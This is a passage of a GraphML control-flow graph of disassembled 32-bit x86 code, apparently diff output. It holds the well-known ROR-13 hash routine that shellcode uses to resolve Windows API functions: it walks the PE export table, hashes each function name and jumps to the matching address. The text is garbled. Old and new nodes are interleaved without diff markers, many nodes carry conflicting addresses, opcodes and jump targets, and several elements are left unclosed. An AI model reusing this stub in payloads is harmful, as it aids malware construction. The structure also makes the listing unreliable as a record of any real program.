<data key="instruction.source">xor edi, edi</data>
<data key="instruction.hex">bf00000000</data>
<data key="instruction.source">mov edi, 0</data>
</node>
</graph>
</node>
<node id="block.0x1018">
<data key="address">0x1018</data>
<node id="block.0x101b">
<data key="address">0x101b</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1018</data>
<data key="address">0x101b</data>
<data key="type">block</data>
<node id="block.0x1018:instruction.0x1018">
<data key="address">0x1018</data>
<node id="block.0x101b:instruction.0x101b">
<data key="address">0x101b</data>
<data key="type">instruction</data>
<data key="instruction.hex">31c0</data>
<data key="instruction.source">xor eax, eax</data>
</node>
<node id="block.0x1018:instruction.0x101a">
<data key="address">0x101a</data>
<node id="block.0x101b:instruction.0x101d">
<data key="address">0x101d</data>
<data key="type">instruction</data>
<data key="instruction.hex">ac</data>
<data key="instruction.source">lodsb al, byte ptr [esi]</data>
</node>
<node id="block.0x1018:instruction.0x101b">
<data key="address">0x101b</data>
<node id="block.0x101b:instruction.0x101e">
<data key="address">0x101e</data>
<data key="type">instruction</data>
<data key="instruction.hex">3c61</data>
<data key="instruction.source">cmp al, 0x61</data>
</node>
<node id="block.0x1018:instruction.0x101d">
<data key="address">0x101d</data>
<node id="block.0x101b:instruction.0x1020">
<data key="address">0x1020</data>
<data key="type">instruction</data>
<data key="instruction.hex">7c02</data>
<data key="instruction.source">jl 0x1021</data>
<data key="instruction.source">jl 0x1024</data>
</node>
<edge source="block.0x1018:instruction.0x1018" target="block.0x1018:instruction.0x101a"/>
<edge source="block.0x1018:instruction.0x101a" target="block.0x1018:instruction.0x101b"/>
<edge source="block.0x1018:instruction.0x101b" target="block.0x1018:instruction.0x101d"/>
<edge source="block.0x101b:instruction.0x101b" target="block.0x101b:instruction.0x101d"/>
<edge source="block.0x101b:instruction.0x101d" target="block.0x101b:instruction.0x101e"/>
<edge source="block.0x101b:instruction.0x101e" target="block.0x101b:instruction.0x1020"/>
</graph>
</node>
<node id="block.0x101f">
<data key="address">0x101f</data>
<node id="block.0x1022">
<data key="address">0x1022</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x101f</data>
<data key="address">0x1022</data>
<data key="type">block</data>
<node id="block.0x101f:instruction.0x101f">
<data key="address">0x101f</data>
<node id="block.0x1022:instruction.0x1022">
<data key="address">0x1022</data>
<data key="type">instruction</data>
<data key="instruction.hex">2c20</data>
<data key="instruction.source">sub al, 0x20</data>
</node>
</graph>
</node>
<node id="block.0x1021">
<data key="address">0x1021</data>
<node id="block.0x1024">
<data key="address">0x1024</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1021</data>
<data key="address">0x1024</data>
<data key="type">block</data>
<node id="block.0x1021:instruction.0x1021">
<data key="address">0x1021</data>
<node id="block.0x1024:instruction.0x1024">
<data key="address">0x1024</data>
<data key="type">instruction</data>
<data key="instruction.hex">c1cf0d</data>
<data key="instruction.source">ror edi, 0xd</data>
</node>
<node id="block.0x1021:instruction.0x1024">
<data key="address">0x1024</data>
<node id="block.0x1024:instruction.0x1027">
<data key="address">0x1027</data>
<data key="type">instruction</data>
<data key="instruction.hex">01c7</data>
<data key="instruction.source">add edi, eax</data>
</node>
<node id="block.0x1021:instruction.0x1026">
<data key="address">0x1026</data>
<node id="block.0x1024:instruction.0x1029">
<data key="address">0x1029</data>
<data key="type">instruction</data>
<data key="instruction.hex">49</data>
<data key="instruction.source">dec ecx</data>
</node>
<node id="block.0x1021:instruction.0x1027">
<data key="address">0x1027</data>
<node id="block.0x1024:instruction.0x102a">
<data key="address">0x102a</data>
<data key="type">instruction</data>
<data key="instruction.hex">75ef</data>
<data key="instruction.source">jne 0x1018</data>
<data key="instruction.source">jne 0x101b</data>
</node>
<edge source="block.0x1021:instruction.0x1021" target="block.0x1021:instruction.0x1024"/>
<edge source="block.0x1021:instruction.0x1024" target="block.0x1021:instruction.0x1026"/>
<edge source="block.0x1021:instruction.0x1026" target="block.0x1021:instruction.0x1027"/>
<edge source="block.0x1024:instruction.0x1024" target="block.0x1024:instruction.0x1027"/>
<edge source="block.0x1024:instruction.0x1027" target="block.0x1024:instruction.0x1029"/>
<edge source="block.0x1024:instruction.0x1029" target="block.0x1024:instruction.0x102a"/>
</graph>
</node>
<node id="block.0x1029">
<data key="address">0x1029</data>
<node id="block.0x102c">
<data key="address">0x102c</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1029</data>
<data key="address">0x102c</data>
<data key="type">block</data>
<node id="block.0x1029:instruction.0x1029">
<data key="address">0x1029</data>
<node id="block.0x102c:instruction.0x102c">
<data key="address">0x102c</data>
<data key="type">instruction</data>
<data key="instruction.hex">52</data>
<data key="instruction.source">push edx</data>
</node>
<node id="block.0x1029:instruction.0x102a">
<data key="address">0x102a</data>
<node id="block.0x102c:instruction.0x102d">
<data key="address">0x102d</data>
<data key="type">instruction</data>
<data key="instruction.hex">57</data>
<data key="instruction.source">push edi</data>
</node>
<node id="block.0x1029:instruction.0x102b">
<data key="address">0x102b</data>
<node id="block.0x102c:instruction.0x102e">
<data key="address">0x102e</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b5210</data>
<data key="instruction.source">mov edx, dword ptr [edx + 0x10]</data>
</node>
<node id="block.0x1029:instruction.0x102e">
<data key="address">0x102e</data>
<node id="block.0x102c:instruction.0x1031">
<data key="address">0x1031</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b423c</data>
<data key="instruction.source">mov eax, dword ptr [edx + 0x3c]</data>
</node>
<node id="block.0x1029:instruction.0x1031">
<data key="address">0x1031</data>
<node id="block.0x102c:instruction.0x1034">
<data key="address">0x1034</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d0</data>
<data key="instruction.source">add eax, edx</data>
</node>
<node id="block.0x1029:instruction.0x1033">
<data key="address">0x1033</data>
<node id="block.0x102c:instruction.0x1036">
<data key="address">0x1036</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b4078</data>
<data key="instruction.source">mov eax, dword ptr [eax + 0x78]</data>
</node>
<node id="block.0x1029:instruction.0x1036">
<data key="address">0x1036</data>
<node id="block.0x102c:instruction.0x1039">
<data key="address">0x1039</data>
<data key="type">instruction</data>
<data key="instruction.hex">85c0</data>
<data key="instruction.source">test eax, eax</data>
</node>
<node id="block.0x1029:instruction.0x1038">
<data key="address">0x1038</data>
<node id="block.0x102c:instruction.0x103b">
<data key="address">0x103b</data>
<data key="type">instruction</data>
<data key="instruction.hex">744c</data>
<data key="instruction.source">je 0x1086</data>
<data key="instruction.hex">744a</data>
<data key="instruction.source">je 0x1087</data>
</node>
<edge source="block.0x1029:instruction.0x1029" target="block.0x1029:instruction.0x102a"/>
<edge source="block.0x1029:instruction.0x1029" target="block.0x1029:instruction.0x102b"/>
<edge source="block.0x1029:instruction.0x102a" target="block.0x1029:instruction.0x1038"/>
<edge source="block.0x1029:instruction.0x102b" target="block.0x1029:instruction.0x102e"/>
<edge source="block.0x1029:instruction.0x102b" target="block.0x1029:instruction.0x1031"/>
<edge source="block.0x1029:instruction.0x102e" target="block.0x1029:instruction.0x1031"/>
<edge source="block.0x1029:instruction.0x1031" target="block.0x1029:instruction.0x1033"/>
<edge source="block.0x1029:instruction.0x1033" target="block.0x1029:instruction.0x1036"/>
<edge source="block.0x1029:instruction.0x1036" target="block.0x1029:instruction.0x1038"/>
<edge source="block.0x102c:instruction.0x102c" target="block.0x102c:instruction.0x102d"/>
<edge source="block.0x102c:instruction.0x102c" target="block.0x102c:instruction.0x102e"/>
<edge source="block.0x102c:instruction.0x102d" target="block.0x102c:instruction.0x103b"/>
<edge source="block.0x102c:instruction.0x102e" target="block.0x102c:instruction.0x1031"/>
<edge source="block.0x102c:instruction.0x102e" target="block.0x102c:instruction.0x1034"/>
<edge source="block.0x102c:instruction.0x1031" target="block.0x102c:instruction.0x1034"/>
<edge source="block.0x102c:instruction.0x1034" target="block.0x102c:instruction.0x1036"/>
<edge source="block.0x102c:instruction.0x1036" target="block.0x102c:instruction.0x1039"/>
<edge source="block.0x102c:instruction.0x1039" target="block.0x102c:instruction.0x103b"/>
</graph>
</node>
<node id="block.0x103a">
<data key="address">0x103a</data>
<node id="block.0x103d">
<data key="address">0x103d</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x103a</data>
<data key="address">0x103d</data>
<data key="type">block</data>
<node id="block.0x103a:instruction.0x103a">
<data key="address">0x103a</data>
<node id="block.0x103d:instruction.0x103d">
<data key="address">0x103d</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d0</data>
<data key="instruction.source">add eax, edx</data>
</node>
<node id="block.0x103a:instruction.0x103c">
<data key="address">0x103c</data>
<node id="block.0x103d:instruction.0x103f">
<data key="address">0x103f</data>
<data key="type">instruction</data>
<data key="instruction.hex">50</data>
<data key="instruction.source">push eax</data>
</node>
<node id="block.0x103a:instruction.0x103d">
<data key="address">0x103d</data>
<node id="block.0x103d:instruction.0x1040">
<data key="address">0x1040</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b4818</data>
<data key="instruction.source">mov ecx, dword ptr [eax + 0x18]</data>
</node>
<node id="block.0x103a:instruction.0x1040">
<data key="address">0x1040</data>
<node id="block.0x103d:instruction.0x1043">
<data key="address">0x1043</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b5820</data>
<data key="instruction.source">mov ebx, dword ptr [eax + 0x20]</data>
</node>
<node id="block.0x103a:instruction.0x1043">
<data key="address">0x1043</data>
<node id="block.0x103d:instruction.0x1046">
<data key="address">0x1046</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d3</data>
<data key="instruction.source">add ebx, edx</data>
</node>
<edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x103c"/>
<edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x103d"/>
<edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x1040"/>
<edge source="block.0x103a:instruction.0x1040" target="block.0x103a:instruction.0x1043"/>
<edge source="block.0x103d:instruction.0x103d" target="block.0x103d:instruction.0x103f"/>
<edge source="block.0x103d:instruction.0x103d" target="block.0x103d:instruction.0x1040"/>
<edge source="block.0x103d:instruction.0x103d" target="block.0x103d:instruction.0x1043"/>
<edge source="block.0x103d:instruction.0x1043" target="block.0x103d:instruction.0x1046"/>
</graph>
</node>
<node id="block.0x1045">
<data key="address">0x1045</data>
<node id="block.0x1048">
<data key="address">0x1048</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1045</data>
<data key="address">0x1048</data>
<data key="type">block</data>
<node id="block.0x1045:instruction.0x1045">
<data key="address">0x1045</data>
<node id="block.0x1048:instruction.0x1048">
<data key="address">0x1048</data>
<data key="type">instruction</data>
<data key="instruction.hex">85c9</data>
<data key="instruction.source">test ecx, ecx</data>
</node>
<node id="block.0x1045:instruction.0x1047">
<data key="address">0x1047</data>
<node id="block.0x1048:instruction.0x104a">
<data key="address">0x104a</data>
<data key="type">instruction</data>
<data key="instruction.hex">743c</data>
<data key="instruction.source">je 0x1085</data>
<data key="instruction.hex">743a</data>
<data key="instruction.source">je 0x1086</data>
</node>
<edge source="block.0x1045:instruction.0x1045" target="block.0x1045:instruction.0x1047"/>
<edge source="block.0x1048:instruction.0x1048" target="block.0x1048:instruction.0x104a"/>
</graph>
</node>
<node id="block.0x1049">
<data key="address">0x1049</data>
<node id="block.0x104c">
<data key="address">0x104c</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1049</data>
<data key="address">0x104c</data>
<data key="type">block</data>
<node id="block.0x1049:instruction.0x1049">
<data key="address">0x1049</data>
<node id="block.0x104c:instruction.0x104c">
<data key="address">0x104c</data>
<data key="type">instruction</data>
<data key="instruction.hex">49</data>
<data key="instruction.source">dec ecx</data>
</node>
<node id="block.0x1049:instruction.0x104a">
<data key="address">0x104a</data>
<node id="block.0x104c:instruction.0x104d">
<data key="address">0x104d</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b348b</data>
<data key="instruction.source">mov esi, dword ptr [ebx + ecx*4]</data>
</node>
<node id="block.0x1049:instruction.0x104d">
<data key="address">0x104d</data>
<node id="block.0x104c:instruction.0x1050">
<data key="address">0x1050</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d6</data>
<data key="instruction.source">add esi, edx</data>
</node>
<node id="block.0x1049:instruction.0x104f">
<data key="address">0x104f</data>
<node id="block.0x104c:instruction.0x1052">
<data key="address">0x1052</data>
<data key="type">instruction</data>
<data key="instruction.hex">31ff</data>
<data key="instruction.source">xor edi, edi</data>
<data key="instruction.hex">8b7df8</data>
<data key="instruction.source">mov edi, dword ptr [ebp - 8]</data>
</node>
<edge source="block.0x1049:instruction.0x1049" target="block.0x1049:instruction.0x104d"/>
<edge source="block.0x1049:instruction.0x1049" target="block.0x1049:instruction.0x104a"/>
<edge source="block.0x1049:instruction.0x104a" target="block.0x1049:instruction.0x104d"/>
<edge source="block.0x104c:instruction.0x104c" target="block.0x104c:instruction.0x1050"/>
<edge source="block.0x104c:instruction.0x104c" target="block.0x104c:instruction.0x104d"/>
<edge source="block.0x104c:instruction.0x104d" target="block.0x104c:instruction.0x1050"/>
</graph>
</node>
<node id="block.0x1051">
<data key="address">0x1051</data>
<node id="block.0x1055">
<data key="address">0x1055</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1051</data>
<data key="address">0x1055</data>
<data key="type">block</data>
<node id="block.0x1051:instruction.0x1051">
<data key="address">0x1051</data>
<node id="block.0x1055:instruction.0x1055">
<data key="address">0x1055</data>
<data key="type">instruction</data>
<data key="instruction.hex">31c0</data>
<data key="instruction.source">xor eax, eax</data>
</node>
<node id="block.0x1051:instruction.0x1053">
<data key="address">0x1053</data>
<node id="block.0x1055:instruction.0x1057">
<data key="address">0x1057</data>
<data key="type">instruction</data>
<data key="instruction.hex">ac</data>
<data key="instruction.source">lodsb al, byte ptr [esi]</data>
</node>
<node id="block.0x1051:instruction.0x1054">
<data key="address">0x1054</data>
<node id="block.0x1055:instruction.0x1058">
<data key="address">0x1058</data>
<data key="type">instruction</data>
<data key="instruction.hex">c1cf0d</data>
<data key="instruction.source">ror edi, 0xd</data>
</node>
<node id="block.0x1051:instruction.0x1057">
<data key="address">0x1057</data>
<node id="block.0x1055:instruction.0x105b">
<data key="address">0x105b</data>
<data key="type">instruction</data>
<data key="instruction.hex">01c7</data>
<data key="instruction.source">add edi, eax</data>
</node>
<node id="block.0x1051:instruction.0x1059">
<data key="address">0x1059</data>
<node id="block.0x1055:instruction.0x105d">
<data key="address">0x105d</data>
<data key="type">instruction</data>
<data key="instruction.hex">38e0</data>
<data key="instruction.source">cmp al, ah</data>
</node>
<node id="block.0x1051:instruction.0x105b">
<data key="address">0x105b</data>
<node id="block.0x1055:instruction.0x105f">
<data key="address">0x105f</data>
<data key="type">instruction</data>
<data key="instruction.hex">75f4</data>
<data key="instruction.source">jne 0x1051</data>
<data key="instruction.source">jne 0x1055</data>
</node>
<edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1053"/>
<edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1054"/>
<edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1059"/>
<edge source="block.0x1051:instruction.0x1053" target="block.0x1051:instruction.0x1057"/>
<edge source="block.0x1051:instruction.0x1053" target="block.0x1051:instruction.0x1059"/>
<edge source="block.0x1051:instruction.0x1054" target="block.0x1051:instruction.0x1057"/>
<edge source="block.0x1051:instruction.0x1057" target="block.0x1051:instruction.0x1059"/>
<edge source="block.0x1051:instruction.0x1059" target="block.0x1051:instruction.0x105b"/>
<edge source="block.0x1055:instruction.0x1055" target="block.0x1055:instruction.0x1057"/>
<edge source="block.0x1055:instruction.0x1055" target="block.0x1055:instruction.0x1058"/>
<edge source="block.0x1055:instruction.0x1055" target="block.0x1055:instruction.0x105d"/>
<edge source="block.0x1055:instruction.0x1057" target="block.0x1055:instruction.0x105b"/>
<edge source="block.0x1055:instruction.0x1057" target="block.0x1055:instruction.0x105d"/>
<edge source="block.0x1055:instruction.0x1058" target="block.0x1055:instruction.0x105b"/>
<edge source="block.0x1055:instruction.0x105b" target="block.0x1055:instruction.0x105d"/>
<edge source="block.0x1055:instruction.0x105d" target="block.0x1055:instruction.0x105f"/>
</graph>
</node>
<node id="block.0x105d">
<data key="address">0x105d</data>
<node id="block.0x1061">
<data key="address">0x1061</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x105d</data>
<data key="address">0x1061</data>
<data key="type">block</data>
<node id="block.0x105d:instruction.0x105d">
<data key="address">0x105d</data>
<data key="type">instruction</data>
<data key="instruction.hex">037df8</data>
<data key="instruction.source">add edi, dword ptr [ebp - 8]</data>
</node>
<node id="block.0x105d:instruction.0x1060">
<data key="address">0x1060</data>
<node id="block.0x1061:instruction.0x1061">
<data key="address">0x1061</data>
<data key="type">instruction</data>
<data key="instruction.hex">3b7d24</data>
<data key="instruction.source">cmp edi, dword ptr [ebp + 0x24]</data>
</node>
<node id="block.0x105d:instruction.0x1063">
<data key="address">0x1063</data>
<node id="block.0x1061:instruction.0x1064">
<data key="address">0x1064</data>
<data key="type">instruction</data>
<data key="instruction.hex">75e0</data>
<data key="instruction.source">jne 0x1045</data>
<data key="instruction.hex">75e2</data>
<data key="instruction.source">jne 0x1048</data>
</node>
<edge source="block.0x105d:instruction.0x105d" target="block.0x105d:instruction.0x1060"/>
<edge source="block.0x105d:instruction.0x1060" target="block.0x105d:instruction.0x1063"/>
<edge source="block.0x1061:instruction.0x1061" target="block.0x1061:instruction.0x1064"/>
</graph>
</node>
<node id="block.0x1065">
<data key="address">0x1065</data>
<node id="block.0x1066">
<data key="address">0x1066</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1065</data>
<data key="address">0x1066</data>
<data key="type">block</data>
<node id="block.0x1065:instruction.0x1065">
<data key="address">0x1065</data>
<node id="block.0x1066:instruction.0x1066">
<data key="address">0x1066</data>
<data key="type">instruction</data>
<data key="instruction.hex">58</data>
<data key="instruction.source">pop eax</data>
</node>
<node id="block.0x1065:instruction.0x1066">
<data key="address">0x1066</data>
<node id="block.0x1066:instruction.0x1067">
<data key="address">0x1067</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b5824</data>
<data key="instruction.source">mov ebx, dword ptr [eax + 0x24]</data>
</node>
<node id="block.0x1065:instruction.0x1069">
<data key="address">0x1069</data>
<node id="block.0x1066:instruction.0x106a">
<data key="address">0x106a</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d3</data>
<data key="instruction.source">add ebx, edx</data>
</node>
<node id="block.0x1065:instruction.0x106b">
<data key="address">0x106b</data>
<node id="block.0x1066:instruction.0x106c">
<data key="address">0x106c</data>
<data key="type">instruction</data>
<data key="instruction.hex">668b0c4b</data>
<data key="instruction.source">mov cx, word ptr [ebx + ecx*2]</data>
</node>
<node id="block.0x1065:instruction.0x106f">
<data key="address">0x106f</data>
<node id="block.0x1066:instruction.0x1070">
<data key="address">0x1070</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b581c</data>
<data key="instruction.source">mov ebx, dword ptr [eax + 0x1c]</data>
</node>
<node id="block.0x1065:instruction.0x1072">
<data key="address">0x1072</data>
<node id="block.0x1066:instruction.0x1073">
<data key="address">0x1073</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d3</data>
<data key="instruction.source">add ebx, edx</data>
</node>
<node id="block.0x1065:instruction.0x1074">
<data key="address">0x1074</data>
<node id="block.0x1066:instruction.0x1075">
<data key="address">0x1075</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b048b</data>
<data key="instruction.source">mov eax, dword ptr [ebx + ecx*4]</data>
</node>
<node id="block.0x1065:instruction.0x1077">
<data key="address">0x1077</data>
<node id="block.0x1066:instruction.0x1078">
<data key="address">0x1078</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d0</data>
<data key="instruction.source">add eax, edx</data>
</node>
<node id="block.0x1065:instruction.0x1079">
<data key="address">0x1079</data>
<node id="block.0x1066:instruction.0x107a">
<data key="address">0x107a</data>
<data key="type">instruction</data>
<data key="instruction.hex">89442424</data>
<data key="instruction.source">mov dword ptr [esp + 0x24], eax</data>
</node>
<node id="block.0x1065:instruction.0x107d">
<data key="address">0x107d</data>
<data key="type">instruction</data>
<data key="instruction.hex">5b</data>
<data key="instruction.source">pop ebx</data>
</node>
<node id="block.0x1065:instruction.0x107e">
<node id="block.0x1066:instruction.0x107e">
<data key="address">0x107e</data>
<data key="type">instruction</data>
<data key="instruction.hex">5b</data>
<data key="instruction.source">pop ebx</data>
</node>
<node id="block.0x1065:instruction.0x107f">
<node id="block.0x1066:instruction.0x107f">
<data key="address">0x107f</data>
<data key="type">instruction</data>
<data key="instruction.hex">5b</data>
<data key="instruction.source">pop ebx</data>
</node>
<node id="block.0x1066:instruction.0x1080">
<data key="address">0x1080</data>
<data key="type">instruction</data>
<data key="instruction.hex">61</data>
<data key="instruction.source">popal</data>
</node>
<node id="block.0x1065:instruction.0x1080">
<data key="address">0x1080</data>
<node id="block.0x1066:instruction.0x1081">
<data key="address">0x1081</data>
<data key="type">instruction</data>
<data key="instruction.hex">59</data>
<data key="instruction.source">pop ecx</data>
</node>
<node id="block.0x1065:instruction.0x1081">
<data key="address">0x1081</data>
<node id="block.0x1066:instruction.0x1082">
<data key="address">0x1082</data>
<data key="type">instruction</data>
<data key="instruction.hex">5a</data>
<data key="instruction.source">pop edx</data>
</node>
<node id="block.0x1065:instruction.0x1082">
<data key="address">0x1082</data>
<node id="block.0x1066:instruction.0x1083">
<data key="address">0x1083</data>
<data key="type">instruction</data>
<data key="instruction.hex">51</data>
<data key="instruction.source">push ecx</data>
</node>
<node id="block.0x1065:instruction.0x1083">
<data key="address">0x1083</data>
<node id="block.0x1066:instruction.0x1084">
<data key="address">0x1084</data>
<data key="type">instruction</data>
<data key="instruction.hex">ffe0</data>
<data key="instruction.source">jmp eax</data>
</node>
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x107d"/>
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x1066"/>
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x106f"/>
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x1079"/>
<edge source="block.0x1065:instruction.0x1066" target="block.0x1065:instruction.0x1074"/>
<edge source="block.0x1065:instruction.0x1066" target="block.0x1065:instruction.0x1069"/>
<edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x106f"/>
<edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x106b"/>
<edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x1074"/>
<edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x106f"/>
<edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x106f" target="block.0x1065:instruction.0x1074"/>
<edge source="block.0x1065:instruction.0x106f" target="block.0x1065:instruction.0x1072"/>
<edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x107d"/>
<edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x1074"/>
<edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x107d"/>
<edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x1077"/>
<edge source="block.0x1065:instruction.0x1077" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x1077" target="block.0x1065:instruction.0x1079"/>
<edge source="block.0x1065:instruction.0x1079" target="block.0x1065:instruction.0x107d"/>
<edge source="block.0x1065:instruction.0x1079" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x107d" target="block.0x1065:instruction.0x107e"/>
<edge source="block.0x1065:instruction.0x107e" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x107f" target="block.0x1065:instruction.0x1080"/>
<edge source="block.0x1065:instruction.0x107f" target="block.0x1065:instruction.0x1083"/>
<edge source="block.0x1065:instruction.0x1080" target="block.0x1065:instruction.0x1081"/>
<edge source="block.0x1065:instruction.0x1080" target="block.0x1065:instruction.0x1082"/>
<edge source="block.0x1065:instruction.0x1081" target="block.0x1065:instruction.0x1082"/>
<edge source="block.0x1065:instruction.0x1082" target="block.0x1065:instruction.0x1083"/>
</graph>
</node>
<node id="block.0x1085">
<data key="address">0x1085</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1085</data>
<data key="type">block</data>
<node id="block.0x1085:instruction.0x1085">
<data key="address">0x1085</data>
<data key="type">instruction</data>
<data key="instruction.hex">58</data>
<data key="instruction.source">pop eax</data>
</node>
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x107e"/>
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x1067"/>
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x1070"/>
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x107a"/>
<edge source="block.0x1066:instruction.0x1067" target="block.0x1066:instruction.0x1075"/>
<edge source="block.0x1066:instruction.0x1067" target="block.0x1066:instruction.0x106a"/>
<edge source="block.0x1066:instruction.0x106a" target="block.0x1066:instruction.0x1070"/>
<edge source="block.0x1066:instruction.0x106a" target="block.0x1066:instruction.0x1080"/>
<edge source="block.0x1066:instruction.0x106a" target="block.0x1066:instruction.0x106c"/>
<edge source="block.0x1066:instruction.0x106c" target="block.0x1066:instruction.0x1075"/>
<edge source="block.0x1066:instruction.0x106c" target="block.0x1066:instruction.0x1070"/>
<edge source="block.0x1066:instruction.0x106c" target="block.0x1066:instruction.0x1080"/>
<edge source="block.0x1066:instruction.0x1070" target="block.0x1066:instruction.0x1075"/>
<edge source="block.0x1066:instruction.0x1070" target="block.0x1066:instruction.0x1073"/>
<edge source="block.0x1066:instruction.0x1073" target="block.0x1066:instruction.0x107e"/>
<edge source="block.0x1066:instruction.0x1073" target="block.0x1066:instruction.0x1075"/>
<edge source="block.0x1066:instruction.0x1073" target="block.0x1066:instruction.0x1080"/>
<edge source="block.0x1066:instruction.0x1075" target="block.0x1066:instruction.0x107e"/>
<edge source="block.0x1066:instruction.0x1075" target="block.0x1066:instruction.0x1080"/>
<edge source="block.0x1066:instruction.0x1075" target="block.0x1066:instruction.0x1078"/>
<edge source="block.0x1066:instruction.0x1078" target="block.0x1066:instruction.0x1080"/>
<edge source="block.0x1066:instruction.0x1078" target="block.0x1066:instruction.0x107a"/>
<edge source="block.0x1066:instruction.0x107a" target="block.0x1066:instruction.0x107e"/>
<edge source="block.0x1066:instruction.0x107a" target="block.0x1066:instruction.0x1080"/>
<edge source="block.0x1066:instruction.0x107e" target="block.0x1066:instruction.0x107f"/>
<edge source="block.0x1066:instruction.0x107f" target="block.0x1066:instruction.0x1080"/>
<edge source="block.0x1066:instruction.0x1080" target="block.0x1066:instruction.0x1081"/>
<edge source="block.0x1066:instruction.0x1080" target="block.0x1066:instruction.0x1084"/>
<edge source="block.0x1066:instruction.0x1081" target="block.0x1066:instruction.0x1082"/>
<edge source="block.0x1066:instruction.0x1081" target="block.0x1066:instruction.0x1083"/>
<edge source="block.0x1066:instruction.0x1082" target="block.0x1066:instruction.0x1083"/>
<edge source="block.0x1066:instruction.0x1083" target="block.0x1066:instruction.0x1084"/>
</graph>
</node>
<node id="block.0x1086">
@@ -566,44 +545,58 @@
<node id="block.0x1086:instruction.0x1086">
<data key="address">0x1086</data>
<data key="type">instruction</data>
<data key="instruction.hex">58</data>
<data key="instruction.source">pop eax</data>
</node>
</graph>
</node>
<node id="block.0x1087">
<data key="address">0x1087</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1087</data>
<data key="type">block</data>
<node id="block.0x1087:instruction.0x1087">
<data key="address">0x1087</data>
<data key="type">instruction</data>
<data key="instruction.hex">5f</data>
<data key="instruction.source">pop edi</data>
</node>
<node id="block.0x1086:instruction.0x1087">
<data key="address">0x1087</data>
<node id="block.0x1087:instruction.0x1088">
<data key="address">0x1088</data>
<data key="type">instruction</data>
<data key="instruction.hex">5a</data>
<data key="instruction.source">pop edx</data>
</node>
<node id="block.0x1086:instruction.0x1088">
<data key="address">0x1088</data>
<node id="block.0x1087:instruction.0x1089">
<data key="address">0x1089</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b12</data>
<data key="instruction.source">mov edx, dword ptr [edx]</data>
</node>
<node id="block.0x1086:instruction.0x108a">
<data key="address">0x108a</data>
<node id="block.0x1087:instruction.0x108b">
<data key="address">0x108b</data>
<data key="type">instruction</data>
<data key="instruction.hex">eb83</data>
<data key="instruction.hex">eb82</data>
<data key="instruction.source">jmp 0x100f</data>
</node>
<edge source="block.0x1086:instruction.0x1086" target="block.0x1086:instruction.0x1087"/>
<edge source="block.0x1086:instruction.0x1087" target="block.0x1086:instruction.0x1088"/>
<edge source="block.0x1086:instruction.0x1088" target="block.0x1086:instruction.0x108a"/>
<edge source="block.0x1087:instruction.0x1087" target="block.0x1087:instruction.0x1088"/>
<edge source="block.0x1087:instruction.0x1088" target="block.0x1087:instruction.0x1089"/>
<edge source="block.0x1087:instruction.0x1089" target="block.0x1087:instruction.0x108b"/>
</graph>
</node>
<edge source="block.0x1000" target="block.0x100f"/>
<edge source="block.0x100f" target="block.0x1018"/>
<edge source="block.0x1018" target="block.0x101f"/>
<edge source="block.0x101f" target="block.0x1021"/>
